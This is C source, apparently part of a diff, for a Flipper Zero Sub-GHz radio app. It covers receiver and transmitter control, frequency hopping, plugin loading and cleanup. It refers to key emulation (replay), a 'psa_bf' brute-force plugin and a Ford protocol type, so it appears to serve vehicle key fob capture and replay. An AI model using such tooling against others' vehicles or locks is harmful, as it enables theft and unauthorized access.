if(app->txrx->worker && app->txrx->txrx_state == GDRTxRxStateRx) {
FURI_LOG_D(TAG, "Stopping active RX, state=%d", app->txrx->txrx_state);
subghz_worker_stop(app->txrx->worker);
if(app->txrx->radio_device) {
subghz_devices_stop_async_rx(app->txrx->radio_device);
}
}
if(app->txrx->radio_device) {
FURI_LOG_D(TAG, "Putting radio device to sleep and ending: %p", app->txrx->radio_device);
subghz_devices_sleep(app->txrx->radio_device);
radio_device_loader_end(app->txrx->radio_device);
app->txrx->radio_device = NULL;
} else {
FURI_LOG_D(TAG, "Radio device was NULL, skipping sleep/end");
}
if(devices_initialized) {
FURI_LOG_D(TAG, "Calling subghz_devices_deinit");
subghz_devices_deinit();
}
if(app->txrx->receiver) {
FURI_LOG_D(TAG, "Freeing receiver %p", app->txrx->receiver);
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
} else {
FURI_LOG_D(TAG, "Receiver was NULL, skipping free");
}
if(app->txrx->environment) {
FURI_LOG_D(TAG, "Freeing environment %p", app->txrx->environment);
subghz_environment_free(app->txrx->environment);
app->txrx->environment = NULL;
app->txrx->protocol_registry = NULL;
} else {
FURI_LOG_D(TAG, "Environment was NULL, skipping free");
}
if(app->txrx->protocol_plugin_manager) {
FURI_LOG_D(TAG, "Freeing protocol plugin manager %p", app->txrx->protocol_plugin_manager);
plugin_manager_free(app->txrx->protocol_plugin_manager);
app->txrx->protocol_plugin_manager = NULL;
}
if(app->txrx->plugin_resolver) {
FURI_LOG_D(TAG, "Freeing plugin resolver %p", app->txrx->plugin_resolver);
composite_api_resolver_free(app->txrx->plugin_resolver);
app->txrx->plugin_resolver = NULL;
}
app->txrx->protocol_plugin = NULL;
if(app->txrx->history) {
FURI_LOG_D(TAG, "Freeing history %p", app->txrx->history);
if(app->selected_capture.history == app->txrx->history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->txrx->history);
app->txrx->history = NULL;
} else {
FURI_LOG_D(TAG, "History was NULL, skipping free");
}
if(app->txrx->worker) {
FURI_LOG_D(TAG, "Freeing worker %p", app->txrx->worker);
subghz_worker_free(app->txrx->worker);
app->txrx->worker = NULL;
} else {
FURI_LOG_D(TAG, "Worker was NULL, skipping free");
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->radio_initialized = false;
FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
}
void gdr_app_free(GDRApp* app) {
furi_check(app);
FURI_LOG_I(TAG, "=== gdr_app_free called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
// Save settings before exiting
GDRSettings settings;
gdr_settings_load(&settings);
settings.frequency = app->txrx->preset->frequency;
settings.auto_save = app->auto_save;
settings.tx_power = app->tx_power;
settings.hopping_enabled = (app->txrx->hopper_state != GDRHopperStateOFF);
settings.emulate_feature_enabled = app->emulate_feature_enabled;
#ifdef ENABLE_DUAL_RX_SCENE
settings.dual_freq_a = app->dual_freq_a;
settings.dual_freq_b = app->dual_freq_b;
settings.dual_preset_a = app->dual_preset_a;
settings.dual_preset_b = app->dual_preset_b;
settings.dual_preset_name_a[0] = '\0';
settings.dual_preset_name_b[0] = '\0';
size_t dual_preset_count = subghz_setting_get_preset_count(app->setting);
if(app->dual_preset_a < dual_preset_count) {
snprintf(
settings.dual_preset_name_a,
sizeof(settings.dual_preset_name_a),
"%s",
subghz_setting_get_preset_name(app->setting, app->dual_preset_a));
}
if(app->dual_preset_b < dual_preset_count) {
snprintf(
settings.dual_preset_name_b,
sizeof(settings.dual_preset_name_b),
"%s",
subghz_setting_get_preset_name(app->setting, app->dual_preset_b));
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
settings.shield_freq = app->shield_freq;
settings.shield_preset_index = app->shield_preset_index;
settings.shield_tx_offset_index = app->shield_tx_offset_index;
settings.shield_tx_power = app->shield_tx_power;
#endif
// Find current preset index
settings.preset_index = 0;
const char* current_preset = furi_string_get_cstr(app->txrx->preset->name);
for(uint8_t i = 0; i < subghz_setting_get_preset_count(app->setting); i++) {
if(strcmp(subghz_setting_get_preset_name(app->setting, i), current_preset) == 0) {
settings.preset_index = i;
break;
}
}
FURI_LOG_I(
TAG,
"Saving settings: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings.frequency,
settings.preset_index,
settings.auto_save,
settings.hopping_enabled,
settings.emulate_feature_enabled);
gdr_settings_save(&settings);
// Deinitialize whichever is active - NULL checks inside handle all cases
FURI_LOG_D(TAG, "Calling radio_deinit");
gdr_radio_deinit(app);
if(app->loaded_file_path) {
FURI_LOG_D(TAG, "Freeing loaded_file_path");
furi_string_free(app->loaded_file_path);
app->loaded_file_path = NULL;
}
// Submenu
if(app->submenu) {
FURI_LOG_D(TAG, "Removing submenu view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewSubmenu);
submenu_free(app->submenu);
}
// Variable Item List
if(app->variable_item_list) {
FURI_LOG_D(TAG, "Removing variable_item_list view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewVariableItemList);
variable_item_list_free(app->variable_item_list);
}
// About View
if(app->view_about) {
FURI_LOG_D(TAG, "Removing about view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewAbout);
view_free(app->view_about);
}
// File path
if(app->file_path) {
FURI_LOG_D(TAG, "Freeing file_path");
furi_string_free(app->file_path);
}
// Widget
if(app->widget) {
FURI_LOG_D(TAG, "Removing widget view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewWidget);
widget_free(app->widget);
}
// Text Input
if(app->text_input) {
FURI_LOG_D(TAG, "Removing text_input view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewTextInput);
text_input_free(app->text_input);
}
if(app->save_protocol) {
furi_string_free(app->save_protocol);
app->save_protocol = NULL;
}
// Receiver
if(app->gdr_receiver) {
FURI_LOG_D(TAG, "Removing receiver view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewReceiver);
gdr_view_receiver_free(app->gdr_receiver);
}
#ifdef ENABLE_DUAL_RX_SCENE
bool dual_devices_initialized = app->dual_chain_a || app->dual_chain_b;
if(app->dual_chain_a) {
gdr_rx_chain_free(app->dual_chain_a);
app->dual_chain_a = NULL;
}
if(app->dual_chain_b) {
gdr_rx_chain_free(app->dual_chain_b);
app->dual_chain_b = NULL;
}
if(dual_devices_initialized) {
subghz_devices_deinit();
}
if(app->dual_receiver) {
FURI_LOG_D(TAG, "Removing dual receiver view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewDualReceiver);
gdr_view_dual_receiver_free(app->dual_receiver);
app->dual_receiver = NULL;
}
if(app->dual_history) {
if(app->selected_capture.history == app->dual_history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->dual_history);
app->dual_history = NULL;
}
if(app->dual_history_mutex) {
furi_mutex_free(app->dual_history_mutex);
app->dual_history_mutex = NULL;
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
bool shield_devices_initialized = app->shield_rx_chain || app->shield_tx_chain;
if(app->shield_rx_chain) {
gdr_rx_chain_free(app->shield_rx_chain);
app->shield_rx_chain = NULL;
}
if(app->shield_tx_chain) {
gdr_tx_chain_free(app->shield_tx_chain);
app->shield_tx_chain = NULL;
}
if(shield_devices_initialized) {
subghz_devices_deinit();
}
if(app->shield_history) {
if(app->selected_capture.history == app->shield_history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->shield_history);
app->shield_history = NULL;
}
if(app->shield_history_mutex) {
furi_mutex_free(app->shield_history_mutex);
app->shield_history_mutex = NULL;
}
#endif
gdr_psa_bf_context_release(app);
// Setting
FURI_LOG_D(TAG, "Freeing subghz_setting");
subghz_setting_free(app->setting);
// Free preset
FURI_LOG_D(TAG, "Freeing preset");
furi_string_free(app->txrx->preset->name);
free(app->txrx->preset);
free(app->txrx);
#ifdef ENABLE_EMULATE_FEATURE
gdr_emulate_context_release(app);
#endif
pp_shared_upload_release();
// View dispatcher
FURI_LOG_D(TAG, "Freeing view_dispatcher and scene_manager");
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
// Close Dialogs
FURI_LOG_D(TAG, "Closing dialogs record");
furi_record_close(RECORD_DIALOGS);
app->dialogs = NULL;
// Notifications
FURI_LOG_D(TAG, "Closing notifications record");
furi_record_close(RECORD_NOTIFICATION);
app->notifications = NULL;
// Close records
FURI_LOG_D(TAG, "Closing GUI record");
furi_record_close(RECORD_GUI);
FURI_LOG_I(TAG, "App free complete");
free(app);
}
int32_t gdr_app(char* p) {
furi_hal_power_suppress_charge_enter();
GDRApp* gdr_app = gdr_app_alloc();
if(!gdr_app) {
// logging is already done in gdr_app_alloc()
furi_hal_power_suppress_charge_exit();
return -1;
}
// Handle Command line PSF that may have been passed to us
bool load_saved = (p && strlen(p));
if(load_saved) gdr_app->loaded_file_path = furi_string_alloc_set(p);
scene_manager_next_scene(
gdr_app->scene_manager,
(load_saved) ? GDRSceneSavedInfo : GDRSceneStart);
//We now jump straight to emulate scene from Browser. If the user wanted the key to look at, just click back.
if(load_saved) {
if(gdr_app->emulate_feature_enabled) {
view_dispatcher_send_custom_event(
gdr_app->view_dispatcher, GDRCustomEventSavedInfoEmulate);
notification_message(gdr_app->notifications, &sequence_success);
} else {
view_dispatcher_send_custom_event(
gdr_app->view_dispatcher, GDRCustomEventReceiverInfoSave);
}
}
view_dispatcher_run(gdr_app->view_dispatcher);
gdr_app_free(gdr_app);
furi_hal_power_suppress_charge_exit();
return 0;
}
@@ -0,0 +1,569 @@
// gdr_app_i.c
#include "gdr_app_i.h"
#include "protocols/protocol_items.h"
#include <loader/firmware_api/firmware_api.h>
#include <stdio.h>
#define TAG "GDRTxRx"
void gdr_selected_capture_set(
GDRApp* app,
GDRHistory* history,
FuriMutex* mutex,
uint16_t index,
GDRCaptureOwner owner) {
furi_check(app);
app->selected_capture.history = history;
app->selected_capture.mutex = mutex;
app->selected_capture.index = index;
app->selected_capture.owner = owner;
}
void gdr_selected_capture_clear(GDRApp* app) {
furi_check(app);
memset(&app->selected_capture, 0, sizeof(app->selected_capture));
}
bool gdr_selected_capture_is_valid(GDRApp* app) {
furi_check(app);
GDRSelectedCapture* selected = &app->selected_capture;
if(!selected->history || selected->owner == GDRCaptureOwnerNone) {
return false;
}
if(selected->mutex) {
furi_mutex_acquire(selected->mutex, FuriWaitForever);
}
bool valid = selected->index < gdr_history_get_item(selected->history);
if(selected->mutex) {
furi_mutex_release(selected->mutex);
}
return valid;
}
GDRHistory* gdr_selected_capture_get_history(GDRApp* app) {
return gdr_selected_capture_is_valid(app) ? app->selected_capture.history : NULL;
}
uint16_t gdr_selected_capture_get_index(GDRApp* app) {
furi_check(app);
return app->selected_capture.index;
}
GDRHistorySource gdr_selected_capture_get_source(GDRApp* app) {
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return GDRHistorySourceUnknown;
}
return gdr_history_get_source(history, app->selected_capture.index);
}
FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app) {
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return NULL;
}
return gdr_history_get_raw_data(history, app->selected_capture.index);
}
bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path) {
furi_check(out_path);
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return false;
}
return gdr_history_get_capture_path(history, app->selected_capture.index, out_path);
}
void gdr_selected_capture_release_scratch(GDRApp* app) {
furi_check(app);
if(app->selected_capture.history) {
gdr_history_release_scratch(app->selected_capture.history);
}
}
static const char* gdr_get_registry_plugin_path(GDRProtocolRegistryFilter filter) {
return (filter == GDRProtocolRegistryFilterFM) ?
APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
}
static void gdr_unload_protocol_plugin(GDRTxRx* txrx) {
furi_check(txrx);
txrx->protocol_plugin = NULL;
txrx->protocol_registry = NULL;
if(txrx->protocol_plugin_manager) {
plugin_manager_free(txrx->protocol_plugin_manager);
txrx->protocol_plugin_manager = NULL;
}
if(txrx->plugin_resolver) {
composite_api_resolver_free(txrx->plugin_resolver);
txrx->plugin_resolver = NULL;
}
}
static void gdr_teardown_receiver_stack_for_registry_switch(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->receiver) {
subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
}
if(app->txrx->worker) {
if(subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
subghz_worker_free(app->txrx->worker);
app->txrx->worker = NULL;
}
if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
}
static bool gdr_ensure_protocol_registry_plugin(
GDRApp* app,
GDRProtocolRegistryFilter filter,
const SubGhzProtocolRegistry** registry) {
furi_check(app);
furi_check(app->txrx);
furi_check(registry);
*registry = NULL;
if(!app->txrx->environment) {
FURI_LOG_E(TAG, "Cannot load protocol plugin without radio environment");
return false;
}
if(app->txrx->protocol_plugin && app->txrx->protocol_plugin->registry &&
app->txrx->protocol_registry_filter == filter) {
*registry = app->txrx->protocol_plugin->registry;
return true;
}
if(app->txrx->protocol_plugin || app->txrx->protocol_plugin_manager ||
app->txrx->plugin_resolver) {
gdr_unload_protocol_plugin(app->txrx);
}
CompositeApiResolver* resolver = composite_api_resolver_alloc();
if(!resolver) {
FURI_LOG_E(TAG, "Failed to allocate protocol plugin resolver");
return false;
}
composite_api_resolver_add(resolver, firmware_api_interface);
PluginManager* manager = plugin_manager_alloc(
GDR_PROTOCOL_PLUGIN_APP_ID,
GDR_PROTOCOL_PLUGIN_API_VERSION,
composite_api_resolver_get(resolver));
if(!manager) {
FURI_LOG_E(TAG, "Failed to allocate protocol plugin manager");
composite_api_resolver_free(resolver);
return false;
}
const char* plugin_path = gdr_get_registry_plugin_path(filter);
PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
if(error != PluginManagerErrorNone) {
FURI_LOG_E(TAG, "Failed to load protocol plugin %s: %d", plugin_path, (int)error);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
if(!plugin || !plugin->registry) {
FURI_LOG_E(TAG, "Protocol plugin entry point is invalid");
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
if(plugin->filter != filter) {
FURI_LOG_E(
TAG, "Protocol plugin filter mismatch (expected %d got %d)", filter, plugin->filter);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
app->txrx->plugin_resolver = resolver;
app->txrx->protocol_plugin_manager = manager;
app->txrx->protocol_plugin = plugin;
app->txrx->protocol_registry_filter = filter;
*registry = plugin->registry;
return true;
}
bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready) {
furi_check(app);
furi_check(app->txrx);
if(!app->txrx->environment || !app->txrx->preset) {
return true;
}
GDRProtocolRegistryFilter filter = gdr_get_protocol_registry_filter_for_preset(
app->txrx->preset->data, app->txrx->preset->data_size);
bool filter_changed = !app->txrx->protocol_plugin ||
(app->txrx->protocol_registry_filter != filter);
if(filter_changed) {
gdr_teardown_receiver_stack_for_registry_switch(app);
} else if(ensure_receiver_ready && !app->txrx->receiver) {
gdr_teardown_receiver_stack_for_registry_switch(app);
}
const SubGhzProtocolRegistry* registry = NULL;
if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
FURI_LOG_E(
TAG,
"Failed to resolve %s protocol registry plugin",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
const bool registry_already_bound = (app->txrx->protocol_registry == registry);
if(!registry_already_bound) {
FURI_LOG_I(
TAG,
"Using %s protocol registry (%zu protocols)",
gdr_get_protocol_registry_filter_name(filter),
registry->size);
subghz_environment_set_protocol_registry(app->txrx->environment, registry);
app->txrx->protocol_registry = registry;
}
if(!ensure_receiver_ready) {
return true;
}
if(app->txrx->receiver) {
return true;
}
app->txrx->receiver = subghz_receiver_alloc_init(app->txrx->environment);
if(!app->txrx->receiver) {
FURI_LOG_E(
TAG,
"Failed to allocate receiver for %s registry",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
subghz_receiver_set_filter(app->txrx->receiver, SubGhzProtocolFlag_Decodable);
return true;
}
bool gdr_apply_protocol_registry_for_preset_data(
GDRApp* app,
const uint8_t* preset_data,
size_t preset_data_size) {
furi_check(app);
furi_check(app->txrx);
if(!app->txrx->environment) {
return false;
}
GDRProtocolRegistryFilter filter =
gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
bool filter_changed = !app->txrx->protocol_plugin ||
(app->txrx->protocol_registry_filter != filter);
if(filter_changed) {
gdr_teardown_receiver_stack_for_registry_switch(app);
}
const SubGhzProtocolRegistry* registry = NULL;
if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
FURI_LOG_E(
TAG,
"Failed to resolve %s registry plugin for preset apply",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
if(app->txrx->protocol_registry == registry) {
return true;
}
FURI_LOG_I(
TAG,
"Switching active protocol registry to %s (%zu protocols)",
gdr_get_protocol_registry_filter_name(filter),
registry->size);
subghz_environment_set_protocol_registry(app->txrx->environment, registry);
app->txrx->protocol_registry = registry;
return true;
}
void gdr_preset_init(
void* context,
const char* preset_name,
uint32_t frequency,
uint8_t* preset_data,
size_t preset_data_size) {
furi_check(context);
GDRApp* app = context;
furi_string_set(app->txrx->preset->name, preset_name);
app->txrx->preset->frequency = frequency;
app->txrx->preset->data = preset_data;
app->txrx->preset->data_size = preset_data_size;
}
void gdr_get_frequency_modulation_str(
GDRApp* app,
char* frequency,
size_t frequency_size,
char* modulation,
size_t modulation_size) {
furi_check(app);
if(frequency && frequency_size > 0) {
unsigned long mhz = (unsigned long)((app->txrx->preset->frequency / 1000000UL) % 1000UL);
unsigned long khz = (unsigned long)((app->txrx->preset->frequency / 10000UL) % 100UL);
snprintf(frequency, frequency_size, "%03lu.%02lu", mhz, khz);
}
if(modulation && modulation_size > 0) {
snprintf(
modulation, modulation_size, "%.2s", furi_string_get_cstr(app->txrx->preset->name));
}
}
void gdr_get_frequency_modulation(
GDRApp* app,
FuriString* frequency,
FuriString* modulation) {
furi_check(app);
char frequency_buf[16] = {0};
char modulation_buf[8] = {0};
gdr_get_frequency_modulation_str(
app, frequency_buf, sizeof(frequency_buf), modulation_buf, sizeof(modulation_buf));
if(frequency != NULL) {
furi_string_set_str(frequency, frequency_buf);
}
if(modulation != NULL) {
furi_string_set_str(modulation, modulation_buf);
}
}
void gdr_begin(GDRApp* app, uint8_t* preset_data) {
furi_check(app);
if(!app->txrx->radio_device) {
FURI_LOG_W(TAG, "begin requested without radio device");
app->txrx->txrx_state = GDRTxRxStateIDLE;
return;
}
subghz_devices_reset(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
subghz_devices_load_preset(app->txrx->radio_device, FuriHalSubGhzPresetCustom, preset_data);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
uint32_t gdr_rx(GDRApp* app, uint32_t frequency) {
furi_check(app);
furi_check(app->txrx);
if(!app->radio_initialized || !app->txrx->radio_device || !app->txrx->worker) {
FURI_LOG_E(
TAG,
"RX start rejected (radio_initialized=%d, radio=%p, worker=%p)",
app->radio_initialized,
app->txrx->radio_device,
app->txrx->worker);
app->txrx->txrx_state = GDRTxRxStateIDLE;
return 0;
}
if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
furi_crash("GDR: Incorrect RX frequency.");
}
if(app->txrx->txrx_state == GDRTxRxStateRx ||
app->txrx->txrx_state == GDRTxRxStateSleep) {
FURI_LOG_W(TAG, "RX start ignored in state %d", app->txrx->txrx_state);
return app->txrx->preset ? app->txrx->preset->frequency : 0;
}
subghz_devices_idle(app->txrx->radio_device);
uint32_t value = subghz_devices_set_frequency(app->txrx->radio_device, frequency);
subghz_devices_flush_rx(app->txrx->radio_device);
subghz_devices_set_rx(app->txrx->radio_device);
subghz_devices_start_async_rx(
app->txrx->radio_device, subghz_worker_rx_callback, app->txrx->worker);
subghz_worker_start(app->txrx->worker);
app->txrx->txrx_state = GDRTxRxStateRx;
return value;
}
void gdr_idle(GDRApp* app) {
furi_check(app);
furi_check(app->txrx->txrx_state != GDRTxRxStateSleep);
if(app->txrx->radio_device) {
subghz_devices_idle(app->txrx->radio_device);
} else {
FURI_LOG_W(TAG, "idle requested without radio device");
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
void gdr_rx_end(GDRApp* app) {
furi_check(app);
if(!app->txrx || app->txrx->txrx_state != GDRTxRxStateRx) {
return;
}
if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
if(app->txrx->radio_device) {
subghz_devices_stop_async_rx(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
void gdr_sleep(GDRApp* app) {
furi_check(app);
subghz_devices_sleep(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateSleep;
}
void gdr_release_shared_radio_state(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
if(app->gdr_receiver) {
gdr_view_receiver_reset_menu(app->gdr_receiver);
}
gdr_radio_deinit(app);
}
void gdr_rx_stack_suspend_for_tx(GDRApp* app) {
if(!app || !app->radio_initialized) {
return;
}
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
if(app->txrx->receiver) {
subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
}
if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
}
void gdr_rx_stack_resume_after_tx(GDRApp* app) {
if(!app || !app->radio_initialized || !app->txrx->environment) {
return;
}
if(!gdr_refresh_protocol_registry(app, true)) {
FURI_LOG_E(TAG, "rx_stack_resume: failed to restore RX stack");
}
}
void gdr_hopper_update(GDRApp* app) {
furi_check(app);
switch(app->txrx->hopper_state) {
case GDRHopperStateOFF:
case GDRHopperStatePause:
return;
case GDRHopperStateRSSITimeOut:
if(app->txrx->hopper_timeout != 0) {
app->txrx->hopper_timeout--;
return;
}
break;
default:
break;
}
float rssi = -127.0f;
if(app->txrx->hopper_state != GDRHopperStateRSSITimeOut) {
rssi = subghz_devices_get_rssi(app->txrx->radio_device);
if(rssi > -90.0f) {
app->txrx->hopper_timeout = 10;
app->txrx->hopper_state = GDRHopperStateRSSITimeOut;
return;
}
} else {
app->txrx->hopper_state = GDRHopperStateRunning;
}
const size_t hopper_count = subghz_setting_get_hopper_frequency_count(app->setting);
if(hopper_count == 0) {
app->txrx->hopper_state = GDRHopperStateOFF;
app->txrx->hopper_idx_frequency = 0;
return;
}
if(app->txrx->hopper_idx_frequency < hopper_count - 1) {
app->txrx->hopper_idx_frequency++;
} else {
app->txrx->hopper_idx_frequency = 0;
}
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->txrx_state == GDRTxRxStateIDLE && app->txrx->receiver) {
subghz_receiver_reset(app->txrx->receiver);
app->txrx->preset->frequency =
subghz_setting_get_hopper_frequency(app->setting, app->txrx->hopper_idx_frequency);
gdr_rx(app, app->txrx->preset->frequency);
}
}
void gdr_tx(GDRApp* app, uint32_t frequency) {
furi_check(app);
if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
return;
}
furi_check(app->txrx->txrx_state == GDRTxRxStateIDLE);
subghz_devices_idle(app->txrx->radio_device);
subghz_devices_set_frequency(app->txrx->radio_device, frequency);
subghz_devices_set_tx(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateTx;
}
void gdr_tx_stop(GDRApp* app) {
furi_check(app);
furi_check(app->txrx->txrx_state == GDRTxRxStateTx);
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
@@ -0,0 +1,237 @@
// gdr_app_i.h
#pragma once
#include <stddef.h>
#include "helpers/gdr_types.h"
#include "helpers/gdr_settings.h"
#include "scenes/gdr_scene.h"
#include "views/gdr_receiver.h"
#include "gdr_history.h"
#include "helpers/radio_device_loader.h"
#ifdef ENABLE_DUAL_RX_SCENE
#include "helpers/gdr_rx_chain.h"
#include "views/gdr_dual_receiver.h"
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
#include "helpers/gdr_rx_chain.h"
#include "helpers/gdr_tx_chain.h"
#endif
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/text_input.h>
#include <notification/notification_messages.h>
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/subghz_worker.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/transmitter.h>
#include <lib/subghz/devices/devices.h>
#include <lib/subghz/subghz_file_encoder_worker.h>
#include <lib/flipper_application/plugins/plugin_manager.h>
#include <lib/flipper_application/plugins/composite_resolver.h>
#include <dialogs/dialogs.h>
#include "defines.h"
#include "protocols/protocols_common.h"
#include "protocols/protocol_items.h"
#include "protocols/gdr_protocol_plugins.h"
#ifdef ENABLE_EMULATE_FEATURE
#include "scenes/plugins/gdr_emulate_plugin.h"
#endif
#include "scenes/plugins/gdr_psa_bf_plugin.h"
#define GDR_KEYSTORE_DIR_NAME APP_ASSETS_PATH("encrypted")
typedef struct GDRApp GDRApp;
typedef enum {
GDRCaptureOwnerNone = 0,
GDRCaptureOwnerReceiver,
GDRCaptureOwnerDualReceiver,
#ifdef ENABLE_SHIELD_RX_SCENE
GDRCaptureOwnerShieldReceiver,
#endif
GDRCaptureOwnerSubDecode,
} GDRCaptureOwner;
typedef struct {
GDRHistory* history;
FuriMutex* mutex;
uint16_t index;
GDRCaptureOwner owner;
} GDRSelectedCapture;
typedef struct {
SubGhzWorker* worker;
SubGhzEnvironment* environment;
SubGhzReceiver* receiver;
SubGhzRadioPreset* preset;
const SubGhzProtocolRegistry* protocol_registry;
CompositeApiResolver* plugin_resolver;
PluginManager* protocol_plugin_manager;
const GDRProtocolPlugin* protocol_plugin;
GDRProtocolRegistryFilter protocol_registry_filter;
GDRHistory* history;
const SubGhzDevice* radio_device;
GDRTxRxState txrx_state;
GDRHopperState hopper_state;
GDRRxKeyState rx_key_state;
uint8_t hopper_idx_frequency;
uint8_t hopper_timeout;
uint16_t idx_menu_chosen;
} GDRTxRx;
struct GDRApp {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notifications;
DialogsApp* dialogs;
VariableItemList* variable_item_list;
Submenu* submenu;
Widget* widget;
TextInput* text_input;
View* view_about;
FuriString* file_path;
GDRReceiver* gdr_receiver;
GDRTxRx* txrx;
SubGhzSetting* setting;
GDRLock lock;
FuriString* loaded_file_path;
bool auto_save;
bool radio_initialized;
GDRSettings settings;
uint32_t start_tx_time;
uint8_t tx_power;
char save_filename[64];
FuriString* save_protocol;
uint16_t save_history_idx;
bool save_from_saved_info;
bool emulate_disabled_for_loaded;
bool emulate_feature_enabled;
GDRSelectedCapture selected_capture;
GDRCaptureOwner unsaved_history_owner;
#ifdef ENABLE_EMULATE_FEATURE
#define EMULATE_NAV_NONE 0U
#define EMULATE_NAV_POP 1U
#define EMULATE_NAV_STOP_APP 2U
CompositeApiResolver* emulate_plugin_resolver;
PluginManager* emulate_plugin_manager;
const GDREmulatePlugin* emulate_plugin;
uint8_t emulate_nav_pending;
#endif
CompositeApiResolver* psa_bf_plugin_resolver;
PluginManager* psa_bf_plugin_manager;
const GDRPsaBfPlugin* psa_bf_plugin;
#ifdef ENABLE_DUAL_RX_SCENE
GDRDualReceiver* dual_receiver;
GDRRxChain* dual_chain_a;
GDRRxChain* dual_chain_b;
GDRHistory* dual_history;
FuriMutex* dual_history_mutex;
uint32_t dual_freq_a;
uint32_t dual_freq_b;
uint8_t dual_preset_a;
uint8_t dual_preset_b;
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
GDRRxChain* shield_rx_chain;
GDRTxChain* shield_tx_chain;
GDRHistory* shield_history;
FuriMutex* shield_history_mutex;
uint32_t shield_freq;
uint8_t shield_preset_index;
uint8_t shield_tx_offset_index;
uint8_t shield_tx_power;
bool shield_auto_save_failed;
#endif
};
#ifdef ENABLE_EMULATE_FEATURE
void gdr_emulate_context_release(GDRApp* app);
#endif
typedef enum {
GDRSetTypeFord_v0,
GDRSetTypeMAX,
} GDRSetType;
void gdr_preset_init(
void* context,
const char* preset_name,
uint32_t frequency,
uint8_t* preset_data,
size_t preset_data_size);
void gdr_get_frequency_modulation(
GDRApp* app,
FuriString* frequency,
FuriString* modulation);
void gdr_get_frequency_modulation_str(
GDRApp* app,
char* frequency,
size_t frequency_size,
char* modulation,
size_t modulation_size);
void gdr_begin(GDRApp* app, uint8_t* preset_data);
uint32_t gdr_rx(GDRApp* app, uint32_t frequency);
void gdr_idle(GDRApp* app);
void gdr_rx_end(GDRApp* app);
void gdr_sleep(GDRApp* app);
void gdr_hopper_update(GDRApp* app);
void gdr_tx(GDRApp* app, uint32_t frequency);
void gdr_tx_stop(GDRApp* app);
bool gdr_radio_init(GDRApp* app);
void gdr_radio_deinit(GDRApp* app);
